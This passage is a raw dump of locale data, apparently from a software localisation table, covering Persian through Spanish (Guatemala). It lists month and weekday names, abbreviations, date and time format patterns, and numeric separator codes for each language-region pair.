ژانویهٔ;فوریهٔ;مارس;آوریل;مهٔ;ژوئن;ژوئیهٔ;اوت;سپتامبر;اکتبر;نوامبر;دسامبر; - ;;;;;;;;;;;; - یکشنبه;دوشنبه;سه‌شنبه;چهارشنبه;پنجشنبه;جمعه;شنبه; - یکشنبه;دوشنبه;سه‌شنبه;چهارشنبه;پنجشنبه;جمعه;شنبه; - ;;;;;;; - ;;;;;;; - ;;;;;;; - ی;د;س;چ;پ;ج;ش; - - - Polish - Poland - 44 - 160 - 59 - 37 - 48 - 45 - 43 - 101 - AM - PM - EEEE, d MMMM yyyy - yy-MM-dd - HH:mm:ss v - HH:mm - styczeń;luty;marzec;kwiecień;maj;czerwiec;lipiec;sierpień;wrzesień;październik;listopad;grudzień; - ;;;;;;;;;;;; - s;l;m;k;m;c;l;s;w;p;l;g; - stycznia;lutego;marca;kwietnia;maja;czerwca;lipca;sierpnia;września;października;listopada;grudnia; - sty;lut;mar;kwi;maj;cze;lip;sie;wrz;paź;lis;gru; - ;;;;;;;;;;;; - niedziela;poniedziałek;wtorek;środa;czwartek;piątek;sobota; - niedz.;pon.;wt.;śr.;czw.;pt.;sob.; - ;;;;;;; - ;;;;;;; - ;;;;;;; - N;P;W;Ś;C;P;S; - - - Portuguese - Brazil - 44 - 46 - 59 - 37 - 48 - 45 - 43 - 101 - AM - PM - EEEE, d 'de' MMMM 'de' yyyy - dd/MM/yy - HH'h'mm'min'ss's' v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - J;F;M;A;M;J;J;A;S;O;N;D; - janeiro;fevereiro;março;abril;maio;junho;julho;agosto;setembro;outubro;novembro;dezembro; - jan;fev;mar;abr;mai;jun;jul;ago;set;out;nov;dez; - ;;;;;;;;;;;; - domingo;segunda-feira;terça-feira;quarta-feira;quinta-feira;sexta-feira;sábado; - dom;seg;ter;qua;qui;sex;sáb; - ;;;;;;; - ;;;;;;; - ;;;;;;; - D;S;T;Q;Q;S;S; - - - Portuguese - Portugal - 44 - 160 - 59 - 37 - 48 - 45 - 43 - 101 - Antes do meio-dia - Depois do meio-dia - EEEE, d 'de' MMMM 'de' yyyy - yy/MM/dd - HH'H'mm'm'ss's' v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - J;F;M;A;M;J;J;A;S;O;N;D; - Janeiro;Fevereiro;Março;Abril;Maio;Junho;Julho;Agosto;Setembro;Outubro;Novembro;Dezembro; - Jan;Fev;Mar;Abr;Mai;Jun;Jul;Ago;Set;Out;Nov;Dez; - ;;;;;;;;;;;; - domingo;segunda-feira;terça-feira;quarta-feira;quinta-feira;sexta-feira;sábado; - dom;seg;ter;qua;qui;sex;sáb; - ;;;;;;; - ;;;;;;; - ;;;;;;; - D;S;T;Q;Q;S;S; - - - Punjabi - India - 46 - 44 - 59 - 37 - 2662 - 45 - 43 - 101 - ਸਵੇਰੇ - ਸ਼ਾਮ - EEEE, dd MMMM yyyy - dd/MM/yyy - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - ਜ;ਫ;ਮਾ;ਅ;ਮ;ਜੂ;ਜੁ;ਅ;ਸ;ਅ;ਨ;ਦ; - ਜਨਵਰੀ;ਫ਼ਰਵਰੀ;ਮਾਰਚ;ਅਪ੍ਰੈਲ;ਮਈ;ਜੂਨ;ਜੁਲਾਈ;ਅਗਸਤ;ਸਤੰਬਰ;ਅਕਤੂਬਰ;ਨਵੰਬਰ;ਦਸੰਬਰ; - ਜਨਵਰੀ;ਫ਼ਰਵਰੀ;ਮਾਰਚ;ਅਪ੍ਰੈਲ;ਮਈ;ਜੂਨ;ਜੁਲਾਈ;ਅਗਸਤ;ਸਤੰਬਰ;ਅਕਤੂਬਰ;ਨਵੰਬਰ;ਦਸੰਬਰ; - ;;;;;;;;;;;; - ਐਤਵਾਰ;ਸੋਮਵਾਰ;ਮੰਗਲਵਾਰ;ਬੁਧਵਾਰ;ਵੀਰਵਾਰ;ਸ਼ੁੱਕਰਵਾਰ;ਸ਼ਨੀਚਰਵਾਰ; - ਐਤ.;ਸੋਮ.;ਮੰਗਲ.;ਬੁਧ.;ਵੀਰ.;ਸ਼ੁਕਰ.;ਸ਼ਨੀ.; - ;;;;;;; - ;;;;;;; - ;;;;;;; - ਐ;ਸੋ;ਮੰ;ਬੁੱ;ਵੀ;ਸ਼ੁੱ;ਸ਼; - - - Punjabi - Pakistan - 46 - 44 - 59 - 37 - 2662 - 45 - 43 - 101 - ਸਵੇਰੇ - ਸ਼ਾਮ - EEEE, dd MMMM yyyy - dd/MM/yyy - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - ਜ;ਫ;ਮਾ;ਅ;ਮ;ਜੂ;ਜੁ;ਅ;ਸ;ਅ;ਨ;ਦ; - ਜਨਵਰੀ;ਫ਼ਰਵਰੀ;ਮਾਰਚ;ਅਪ੍ਰੈਲ;ਮਈ;ਜੂਨ;ਜੁਲਾਈ;ਅਗਸਤ;ਸਤੰਬਰ;ਅਕਤੂਬਰ;ਨਵੰਬਰ;ਦਸੰਬਰ; - ਜਨਵਰੀ;ਫ਼ਰਵਰੀ;ਮਾਰਚ;ਅਪ੍ਰੈਲ;ਮਈ;ਜੂਨ;ਜੁਲਾਈ;ਅਗਸਤ;ਸਤੰਬਰ;ਅਕਤੂਬਰ;ਨਵੰਬਰ;ਦਸੰਬਰ; - ;;;;;;;;;;;; - ਐਤਵਾਰ;ਸੋਮਵਾਰ;ਮੰਗਲਵਾਰ;ਬੁਧਵਾਰ;ਵੀਰਵਾਰ;ਸ਼ੁੱਕਰਵਾਰ;ਸ਼ਨੀਚਰਵਾਰ; - ਐਤ.;ਸੋਮ.;ਮੰਗਲ.;ਬੁਧ.;ਵੀਰ.;ਸ਼ੁਕਰ.;ਸ਼ਨੀ.; - ;;;;;;; - ;;;;;;; - ;;;;;;; - ਐ;ਸੋ;ਮੰ;ਬੁੱ;ਵੀ;ਸ਼ੁੱ;ਸ਼; - - - Romanian - Moldova - 44 - 46 - 59 - 37 - 48 - 45 - 43 - 101 - AM - PM - EEEE, d MMMM yyyy - dd.MM.yyyy - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - I;F;M;A;M;I;I;A;S;O;N;D; - ianuarie;februarie;martie;aprilie;mai;iunie;iulie;august;septembrie;octombrie;noiembrie;decembrie; - ian.;feb.;mar.;apr.;mai;iun.;iul.;aug.;sept.;oct.;nov.;dec.; - ;;;;;;;;;;;; - duminică;luni;marți;miercuri;joi;vineri;sâmbătă; - D;L;Ma;Mi;J;V;S; - ;;;;;;; - ;;;;;;sâmbătă; - ;;;;;;; - D;L;M;M;J;V;S; - - - Romanian - Romania - 44 - 46 - 59 - 37 - 48 - 45 - 43 - 101 - AM - PM - EEEE, d MMMM yyyy - dd.MM.yyyy - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - I;F;M;A;M;I;I;A;S;O;N;D; - ianuarie;februarie;martie;aprilie;mai;iunie;iulie;august;septembrie;octombrie;noiembrie;decembrie; - ian.;feb.;mar.;apr.;mai;iun.;iul.;aug.;sept.;oct.;nov.;dec.; - ;;;;;;;;;;;; - duminică;luni;marți;miercuri;joi;vineri;sâmbătă; - D;L;Ma;Mi;J;V;S; - ;;;;;;; - ;;;;;;sâmbătă; - ;;;;;;; - D;L;M;M;J;V;S; - - - Russian - RussianFederation - 44 - 160 - 59 - 37 - 48 - 45 - 43 - 101 - AM - PM - EEEE, d MMMM yyyy 'г'. - dd.MM.yy - H:mm:ss v - H:mm - Январь;Февраль;Март;Апрель;Май;Июнь;Июль;Август;Сентябрь;Октябрь;Ноябрь;Декабрь; - янв.;февр.;март;апр.;май;июнь;июль;авг.;сент.;окт.;нояб.;дек.; - Я;Ф;М;А;М;И;И;А;С;О;Н;Д; - января;февраля;марта;апреля;мая;июня;июля;августа;сентября;октября;ноября;декабря; - янв.;февр.;марта;апр.;мая;июня;июля;авг.;сент.;окт.;нояб.;дек.; - ;;;;;;;;;;;; - воскресенье;понедельник;вторник;среда;четверг;пятница;суббота; - Вс;Пн;Вт;Ср;Чт;Пт;Сб; - ;;;;;;; - Воскресенье;Понедельник;Вторник;Среда;Четверг;Пятница;Суббота; - ;;;;;;; - В;П;В;С;Ч;П;С; - - - Russian - Ukraine - 44 - 160 - 59 - 37 - 48 - 45 - 43 - 101 - AM - PM - EEEE, d MMMM yyyy 'г'. - dd.MM.yy - HH:mm:ss v - HH:mm - Январь;Февраль;Март;Апрель;Май;Июнь;Июль;Август;Сентябрь;Октябрь;Ноябрь;Декабрь; - янв.;февр.;март;апр.;май;июнь;июль;авг.;сент.;окт.;нояб.;дек.; - Я;Ф;М;А;М;И;И;А;С;О;Н;Д; - января;февраля;марта;апреля;мая;июня;июля;августа;сентября;октября;ноября;декабря; - янв.;февр.;марта;апр.;мая;июня;июля;авг.;сент.;окт.;нояб.;дек.; - ;;;;;;;;;;;; - воскресенье;понедельник;вторник;среда;четверг;пятница;суббота; - Вс;Пн;Вт;Ср;Чт;Пт;Сб; - ;;;;;;; - Воскресенье;Понедельник;Вторник;Среда;Четверг;Пятница;Суббота; - ;;;;;;; - В;П;В;С;Ч;П;С; - - - Sanskrit - India - 46 - 44 - 59 - 37 - 2406 - 45 - 43 - 101 - - - EEEE d MMMM yyyy - d-MM-yy - hh:mm:ss a v - hh:mm a - ;;;;;;;;;;;; - ;;;;;;;;;;;; - 1;2;3;4;5;6;7;8;9;10;11;12; - 1;2;3;4;5;6;7;8;9;10;11;12; - 1;2;3;4;5;6;7;8;9;10;11;12; - ;;;;;;;;;;;; - 1;2;3;4;5;6;7; - 1;2;3;4;5;6;7; - ;;;;;;; - ;;;;;;; - ;;;;;;; - 1;2;3;4;5;6;7; - - - Serbian - BosniaAndHerzegowina - 44 - 46 - 59 - 37 - 48 - 45 - 43 - 1077 - преподне - поподне - EEEE, dd. MMMM yyyy. - yy-MM-dd - HH 'часова', mm 'минута', ss 'секунди' v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - ј;ф;м;а;м;ј;ј;а;с;о;н;д; - јануар;фебруар;март;април;мај;јуни;јули;август;септембар;октобар;новембар;децембар; - јан;феб;мар;апр;мај;јун;јул;авг;сеп;окт;нов;дец; - ;;;;;;;;;;;; - недеља;понедељак;уторак;сриједа;четвртак;петак;субота; - нед;пон;уто;сри;чет;пет;суб; - ;;;;;;; - ;;;;;;; - ;;;;;;; - н;п;у;с;ч;п;с; - - - Serbian - Yugoslavia - 44 - 46 - 59 - 37 - 48 - 45 - 43 - 1077 - преподне - поподне - EEEE, dd. MMMM yyyy. - d.M.yy. - HH.mm.ss v - HH.mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - ј;ф;м;а;м;ј;ј;а;с;о;н;д; - јануар;фебруар;март;април;мај;јун;јул;август;септембар;октобар;новембар;децембар; - јан;феб;мар;апр;мај;јун;јул;авг;сеп;окт;нов;дец; - ;;;;;;;;;;;; - недеља;понедељак;уторак;среда;четвртак;петак;субота; - нед;пон;уто;сре;чет;пет;суб; - ;;;;;;; - ;;;;;;; - ;;;;;;; - н;п;у;с;ч;п;с; - - - Serbian - SerbiaAndMontenegro - 44 - 46 - 59 - 37 - 48 - 45 - 43 - 1077 - преподне - поподне - EEEE, dd. MMMM yyyy. - d.M.yy. - HH.mm.ss v - HH.mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - ј;ф;м;а;м;ј;ј;а;с;о;н;д; - јануар;фебруар;март;април;мај;јун;јул;август;септембар;октобар;новембар;децембар; - јан;феб;мар;апр;мај;јун;јул;авг;сеп;окт;нов;дец; - ;;;;;;;;;;;; - недеља;понедељак;уторак;среда;четвртак;петак;субота; - нед;пон;уто;сре;чет;пет;суб; - ;;;;;;; - ;;;;;;; - ;;;;;;; - н;п;у;с;ч;п;с; - - - SerboCroatian - BosniaAndHerzegowina - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - AM - PM - EEEE, yyyy MMMM dd - yyyy-MM-dd - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - j;f;m;a;m;j;j;a;s;o;n;d; - januar;februar;mart;april;maj;jun;jul;avgust;septembar;oktobar;novembar;decembar; - jan;feb;mar;apr;maj;jun;jul;avg;sep;okt;nov;dec; - ;;;;;;;;;;;; - nedelja;ponedeljak;utorak;sreda;četvrtak;petak;subota; - ned;pon;uto;sre;čet;pet;sub; - ;;;;;;; - ;;;;;;; - ;;;;;;; - n;p;u;s;č;p;s; - - - SerboCroatian - Yugoslavia - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - AM - PM - EEEE, yyyy MMMM dd - yyyy-MM-dd - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - j;f;m;a;m;j;j;a;s;o;n;d; - januar;februar;mart;april;maj;jun;jul;avgust;septembar;oktobar;novembar;decembar; - jan;feb;mar;apr;maj;jun;jul;avg;sep;okt;nov;dec; - ;;;;;;;;;;;; - nedelja;ponedeljak;utorak;sreda;četvrtak;petak;subota; - ned;pon;uto;sre;čet;pet;sub; - ;;;;;;; - ;;;;;;; - ;;;;;;; - n;p;u;s;č;p;s; - - - SerboCroatian - SerbiaAndMontenegro - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - AM - PM - EEEE, yyyy MMMM dd - yyyy-MM-dd - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - j;f;m;a;m;j;j;a;s;o;n;d; - januar;februar;mart;april;maj;jun;jul;avgust;septembar;oktobar;novembar;decembar; - jan;feb;mar;apr;maj;jun;jul;avg;sep;okt;nov;dec; - ;;;;;;;;;;;; - nedelja;ponedeljak;utorak;sreda;četvrtak;petak;subota; - ned;pon;uto;sre;čet;pet;sub; - ;;;;;;; - ;;;;;;; - ;;;;;;; - n;p;u;s;č;p;s; - - - Sesotho - Lesotho - 44 - 160 - 59 - 37 - 48 - 45 - 43 - 101 - - - EEEE, yyyy MMMM dd - yy/MM/dd - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - 1;2;3;4;5;6;7;8;9;10;11;12; - Phesekgong;Hlakola;Hlakubele;Mmese;Motsheanong;Phupjane;Phupu;Phata;Leotshe;Mphalane;Pundungwane;Tshitwe; - Phe;Kol;Ube;Mme;Mot;Jan;Upu;Pha;Leo;Mph;Pun;Tsh; - ;;;;;;;;;;;; - Sontaha;Mmantaha;Labobedi;Laboraru;Labone;Labohlane;Moqebelo; - Son;Mma;Bed;Rar;Ne;Hla;Moq; - ;;;;;;; - ;;;;;;; - ;;;;;;; - 1;2;3;4;5;6;7; - - - Sesotho - SouthAfrica - 44 - 160 - 59 - 37 - 48 - 45 - 43 - 101 - - - EEEE, yyyy MMMM dd - yy/MM/dd - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - 1;2;3;4;5;6;7;8;9;10;11;12; - Phesekgong;Hlakola;Hlakubele;Mmese;Motsheanong;Phupjane;Phupu;Phata;Leotshe;Mphalane;Pundungwane;Tshitwe; - Phe;Kol;Ube;Mme;Mot;Jan;Upu;Pha;Leo;Mph;Pun;Tsh; - ;;;;;;;;;;;; - Sontaha;Mmantaha;Labobedi;Laboraru;Labone;Labohlane;Moqebelo; - Son;Mma;Bed;Rar;Ne;Hla;Moq; - ;;;;;;; - ;;;;;;; - ;;;;;;; - 1;2;3;4;5;6;7; - - - Setswana - SouthAfrica - 44 - 160 - 59 - 37 - 48 - 45 - 43 - 101 - - - EEEE, yyyy MMMM dd - yy/MM/dd - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - 1;2;3;4;5;6;7;8;9;10;11;12; - Ferikgong;Tlhakole;Mopitlo;Moranang;Motsheganang;Seetebosigo;Phukwi;Phatwe;Lwetse;Diphalane;Ngwanatsele;Sedimonthole; - Fer;Tlh;Mop;Mor;Mot;See;Phu;Pha;Lwe;Dip;Ngw;Sed; - ;;;;;;;;;;;; - Tshipi;Mosopulogo;Labobedi;Laboraro;Labone;Labotlhano;Matlhatso; - Tsh;Mos;Bed;Rar;Ne;Tla;Mat; - ;;;;;;; - ;;;;;;; - ;;;;;;; - 1;2;3;4;5;6;7; - - - Singhalese - SriLanka - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - පෙ.ව. - ප.ව. - EEEE, yyyy MMMM d - yyyy/MM/dd - h:mm:ss a v - h:mm a - ;;;;;;;;;;;; - ;;;;;;;;;;;; - ජ;පෙ;මා;අ;මැ;ජූ;ජූ;අ;සැ;ඔ;නො;දෙ; - ජනවාර;පෙබරවාර;මාර්ත;අප්‍රේල්;මැයි;ජූන;ජූලි;අගෝස්තු;සැප්තැම්බර්;ඔක්තෝබර්;නොවැම්බර්;දෙසැම්බර්; - ජන;පෙබ;මාර්ත;අප්‍රේල;මැය;ජූන;ජූල;අගෝ;සැප;ඔක;නොවැ;දෙසැ; - ;;;;;;;;;;;; - ඉරිදා;සඳුදා;අඟහරුවාදා;බදාදා;බ්‍රහස්පතින්දා;සිකුරාදා;සෙනසුරාදා; - ඉරි;සඳු;අඟ;බදා;බ්‍රහ;සිකු;සෙන; - ;;;;;;; - ;;;;;;; - ;;;;;;; - ඉ;ස;අ;බ;බ්‍ර;සි;සෙ; - - - Siswati - SouthAfrica - 44 - 160 - 59 - 37 - 48 - 45 - 43 - 101 - - - EEEE, yyyy MMMM dd - yy/MM/dd - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - 1;2;3;4;5;6;7;8;9;10;11;12; - Bhimbidvwane;iNdlovana;iNdlovu-lenkhulu;Mabasa;iNkhwekhweti;iNhlaba;Kholwane;iNgci;iNyoni;iMphala;Lweti;iNgongoni; - Bhi;Van;Vol;Mab;Nkh;Nhl;Kho;Ngc;Nyo;Mph;Lwe;Ngo; - ;;;;;;;;;;;; - Lisontfo;uMsombuluko;Lesibili;Lesitsatfu;Lesine;Lesihlanu;uMgcibelo; - Son;Mso;Bil;Tsa;Ne;Hla;Mgc; - ;;;;;;; - ;;;;;;; - ;;;;;;; - 1;2;3;4;5;6;7; - - - Siswati - Swaziland - 44 - 160 - 59 - 37 - 48 - 45 - 43 - 101 - - - EEEE, yyyy MMMM dd - yy/MM/dd - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - 1;2;3;4;5;6;7;8;9;10;11;12; - Bhimbidvwane;iNdlovana;iNdlovu-lenkhulu;Mabasa;iNkhwekhweti;iNhlaba;Kholwane;iNgci;iNyoni;iMphala;Lweti;iNgongoni; - Bhi;Van;Vol;Mab;Nkh;Nhl;Kho;Ngc;Nyo;Mph;Lwe;Ngo; - ;;;;;;;;;;;; - Lisontfo;uMsombuluko;Lesibili;Lesitsatfu;Lesine;Lesihlanu;uMgcibelo; - Son;Mso;Bil;Tsa;Ne;Hla;Mgc; - ;;;;;;; - ;;;;;;; - ;;;;;;; - 1;2;3;4;5;6;7; - - - Slovak - Slovakia - 44 - 160 - 59 - 37 - 48 - 45 - 43 - 101 - - - EEEE, d. MMMM yyyy - d.M.yyyy - H:mm:ss v - H:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - j;f;m;a;m;j;j;a;s;o;n;d; - január;február;marec;apríl;máj;jún;júl;august;september;október;november;december; - jan;feb;mar;apr;máj;jún;júl;aug;sep;okt;nov;dec; - ;;;;;;;;;;;; - Nedeľa;Pondelok;Utorok;Streda;Štvrtok;Piatok;Sobota; - Ne;Po;Ut;St;Št;Pi;So; - ;;;;;;; - ;;;;;;; - ;;;;;;; - N;P;U;S;Š;P;S; - - - Slovenian - Slovenia - 44 - 46 - 59 - 37 - 48 - 45 - 43 - 101 - - - EEEE, dd. MMMM yyyy - d.M.yy - H:mm:ss v - H:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - j;f;m;a;m;j;j;a;s;o;n;d; - januar;februar;marec;april;maj;junij;julij;avgust;september;oktober;november;december; - jan;feb;mar;apr;maj;jun;jul;avg;sep;okt;nov;dec; - ;;;;;;;;;;;; - nedelja;ponedeljek;torek;sreda;četrtek;petek;sobota; - ned;pon;tor;sre;čet;pet;sob; - ;;;;;;; - ;;;;;;; - ;;;;;;; - n;p;t;s;č;p;s; - - - Somali - Djibouti - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - sn - gn - EEEE, MMMM dd, yyyy - dd/MM/yy - h:mm:ss a v - h:mm a - ;;;;;;;;;;;; - ;;;;;;;;;;;; - K;L;S;A;S;L;T;S;S;T;K;L; - Bisha Koobaad;Bisha Labaad;Bisha Saddexaad;Bisha Afraad;Bisha Shanaad;Bisha Lixaad;Bisha Todobaad;Bisha Sideedaad;Bisha Sagaalaad;Bisha Tobnaad;Bisha Kow iyo Tobnaad;Bisha Laba iyo Tobnaad; - Kob;Lab;Sad;Afr;Sha;Lix;Tod;Sid;Sag;Tob;KIT;LIT; - ;;;;;;;;;;;; - Axad;Isniin;Salaaso;Arbaco;Khamiis;Jimco;Sabti; - Axa;Isn;Sal;Arb;Kha;Jim;Sab; - ;;;;;;; - ;;;;;;; - ;;;;;;; - A;I;S;A;K;J;S; - - - Somali - Ethiopia - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - sn - gn - EEEE, MMMM dd, yyyy - dd/MM/yy - h:mm:ss a v - h:mm a - ;;;;;;;;;;;; - ;;;;;;;;;;;; - K;L;S;A;S;L;T;S;S;T;K;L; - Bisha Koobaad;Bisha Labaad;Bisha Saddexaad;Bisha Afraad;Bisha Shanaad;Bisha Lixaad;Bisha Todobaad;Bisha Sideedaad;Bisha Sagaalaad;Bisha Tobnaad;Bisha Kow iyo Tobnaad;Bisha Laba iyo Tobnaad; - Kob;Lab;Sad;Afr;Sha;Lix;Tod;Sid;Sag;Tob;KIT;LIT; - ;;;;;;;;;;;; - Axad;Isniin;Salaaso;Arbaco;Khamiis;Jimco;Sabti; - Axa;Isn;Sal;Arb;Kha;Jim;Sab; - ;;;;;;; - ;;;;;;; - ;;;;;;; - A;I;S;A;K;J;S; - - - Somali - Kenya - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - sn - gn - EEEE, MMMM dd, yyyy - dd/MM/yy - h:mm:ss a v - h:mm a - ;;;;;;;;;;;; - ;;;;;;;;;;;; - K;L;S;A;S;L;T;S;S;T;K;L; - Bisha Koobaad;Bisha Labaad;Bisha Saddexaad;Bisha Afraad;Bisha Shanaad;Bisha Lixaad;Bisha Todobaad;Bisha Sideedaad;Bisha Sagaalaad;Bisha Tobnaad;Bisha Kow iyo Tobnaad;Bisha Laba iyo Tobnaad; - Kob;Lab;Sad;Afr;Sha;Lix;Tod;Sid;Sag;Tob;KIT;LIT; - ;;;;;;;;;;;; - Axad;Isniin;Salaaso;Arbaco;Khamiis;Jimco;Sabti; - Axa;Isn;Sal;Arb;Kha;Jim;Sab; - ;;;;;;; - ;;;;;;; - ;;;;;;; - A;I;S;A;K;J;S; - - - Somali - Somalia - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - sn - gn - EEEE, MMMM dd, yyyy - dd/MM/yy - h:mm:ss a v - h:mm a - ;;;;;;;;;;;; - ;;;;;;;;;;;; - K;L;S;A;S;L;T;S;S;T;K;L; - Bisha Koobaad;Bisha Labaad;Bisha Saddexaad;Bisha Afraad;Bisha Shanaad;Bisha Lixaad;Bisha Todobaad;Bisha Sideedaad;Bisha Sagaalaad;Bisha Tobnaad;Bisha Kow iyo Tobnaad;Bisha Laba iyo Tobnaad; - Kob;Lab;Sad;Afr;Sha;Lix;Tod;Sid;Sag;Tob;KIT;LIT; - ;;;;;;;;;;;; - Axad;Isniin;Salaaso;Arbaco;Khamiis;Jimco;Sabti; - Axa;Isn;Sal;Arb;Kha;Jim;Sab; - ;;;;;;; - ;;;;;;; - ;;;;;;; - A;I;S;A;K;J;S; - - - Spanish - Argentina - 44 - 46 - 59 - 37 - 48 - 45 - 43 - 101 - a.m. - p.m. - EEEE d 'de' MMMM 'de' yyyy - dd/MM/yy - HH'h'''mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - E;F;M;A;M;J;J;A;S;O;N;D; - enero;febrero;marzo;abril;mayo;junio;julio;agosto;septiembre;octubre;noviembre;diciembre; - ene;feb;mar;abr;may;jun;jul;ago;sep;oct;nov;dic; - ;;;;;;;;;;;; - domingo;lunes;martes;miércoles;jueves;viernes;sábado; - dom;lun;mar;mié;jue;vie;sáb; - ;;;;;;; - ;;;;;;; - ;;;;;;; - D;L;M;M;J;V;S; - - - Spanish - Bolivia - 44 - 46 - 59 - 37 - 48 - 45 - 43 - 101 - a.m. - p.m. - EEEE d 'de' MMMM 'de' yyyy - dd/MM/yy - hh:mm:ss a v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - E;F;M;A;M;J;J;A;S;O;N;D; - enero;febrero;marzo;abril;mayo;junio;julio;agosto;septiembre;octubre;noviembre;diciembre; - ene;feb;mar;abr;may;jun;jul;ago;sep;oct;nov;dic; - ;;;;;;;;;;;; - domingo;lunes;martes;miércoles;jueves;viernes;sábado; - dom;lun;mar;mié;jue;vie;sáb; - ;;;;;;; - ;;;;;;; - ;;;;;;; - D;L;M;M;J;V;S; - - - Spanish - Chile - 44 - 46 - 59 - 37 - 48 - 45 - 43 - 101 - a.m. - p.m. - EEEE d 'de' MMMM 'de' yyyy - dd-MM-yy - HH:mm:ss v - H:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - E;F;M;A;M;J;J;A;S;O;N;D; - enero;febrero;marzo;abril;mayo;junio;julio;agosto;septiembre;octubre;noviembre;diciembre; - ene;feb;mar;abr;may;jun;jul;ago;sep;oct;nov;dic; - ;;;;;;;;;;;; - domingo;lunes;martes;miércoles;jueves;viernes;sábado; - dom;lun;mar;mié;jue;vie;sáb; - ;;;;;;; - ;;;;;;; - ;;;;;;; - D;L;M;M;J;V;S; - - - Spanish - Colombia - 44 - 46 - 59 - 37 - 48 - 45 - 43 - 101 - a.m. - p.m. - EEEE d 'de' MMMM 'de' yyyy - d/MM/yy - HH:mm:ss v - H:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - E;F;M;A;M;J;J;A;S;O;N;D; - enero;febrero;marzo;abril;mayo;junio;julio;agosto;septiembre;octubre;noviembre;diciembre; - ene;feb;mar;abr;may;jun;jul;ago;sep;oct;nov;dic; - ;;;;;;;;;;;; - domingo;lunes;martes;miércoles;jueves;viernes;sábado; - dom;lun;mar;mié;jue;vie;sáb; - ;;;;;;; - ;;;;;;; - ;;;;;;; - D;L;M;M;J;V;S; - - - Spanish - CostaRica - 44 - 46 - 59 - 37 - 48 - 45 - 43 - 101 - a.m. - p.m. - EEEE d 'de' MMMM 'de' yyyy - dd/MM/yy - hh:mm:ss a v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - E;F;M;A;M;J;J;A;S;O;N;D; - enero;febrero;marzo;abril;mayo;junio;julio;agosto;septiembre;octubre;noviembre;diciembre; - ene;feb;mar;abr;may;jun;jul;ago;sep;oct;nov;dic; - ;;;;;;;;;;;; - domingo;lunes;martes;miércoles;jueves;viernes;sábado; - dom;lun;mar;mié;jue;vie;sáb; - ;;;;;;; - ;;;;;;; - ;;;;;;; - D;L;M;M;J;V;S; - - - Spanish - DominicanRepublic - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - a.m. - p.m. - EEEE d 'de' MMMM 'de' yyyy - dd/MM/yy - hh:mm:ss a v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - E;F;M;A;M;J;J;A;S;O;N;D; - enero;febrero;marzo;abril;mayo;junio;julio;agosto;septiembre;octubre;noviembre;diciembre; - ene;feb;mar;abr;may;jun;jul;ago;sep;oct;nov;dic; - ;;;;;;;;;;;; - domingo;lunes;martes;miércoles;jueves;viernes;sábado; - dom;lun;mar;mié;jue;vie;sáb; - ;;;;;;; - ;;;;;;; - ;;;;;;; - D;L;M;M;J;V;S; - - - Spanish - Ecuador - 44 - 46 - 59 - 37 - 48 - 45 - 43 - 101 - a.m. - p.m. - EEEE d 'de' MMMM 'de' yyyy - dd/MM/yy - HH:mm:ss v - H:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - E;F;M;A;M;J;J;A;S;O;N;D; - enero;febrero;marzo;abril;mayo;junio;julio;agosto;septiembre;octubre;noviembre;diciembre; - ene;feb;mar;abr;may;jun;jul;ago;sep;oct;nov;dic; - ;;;;;;;;;;;; - domingo;lunes;martes;miércoles;jueves;viernes;sábado; - dom;lun;mar;mié;jue;vie;sáb; - ;;;;;;; - ;;;;;;; - ;;;;;;; - D;L;M;M;J;V;S; - - - Spanish - ElSalvador - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - a.m. - p.m. - EEEE d 'de' MMMM 'de' yyyy - dd/MM/yy - hh:mm:ss a v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - E;F;M;A;M;J;J;A;S;O;N;D; - enero;febrero;marzo;abril;mayo;junio;julio;agosto;septiembre;octubre;noviembre;diciembre; - ene;feb;mar;abr;may;jun;jul;ago;sep;oct;nov;dic; - ;;;;;;;;;;;; - domingo;lunes;martes;miércoles;jueves;viernes;sábado; - dom;lun;mar;mié;jue;vie;sáb; - ;;;;;;; - ;;;;;;; - ;;;;;;; - D;L;M;M;J;V;S; - - - Spanish - Guatemala - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - a.m. - p.m. - EEEE d 'de' MMMM 'de' yyyy - d/MM/yy - hh:mm:ss a v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - 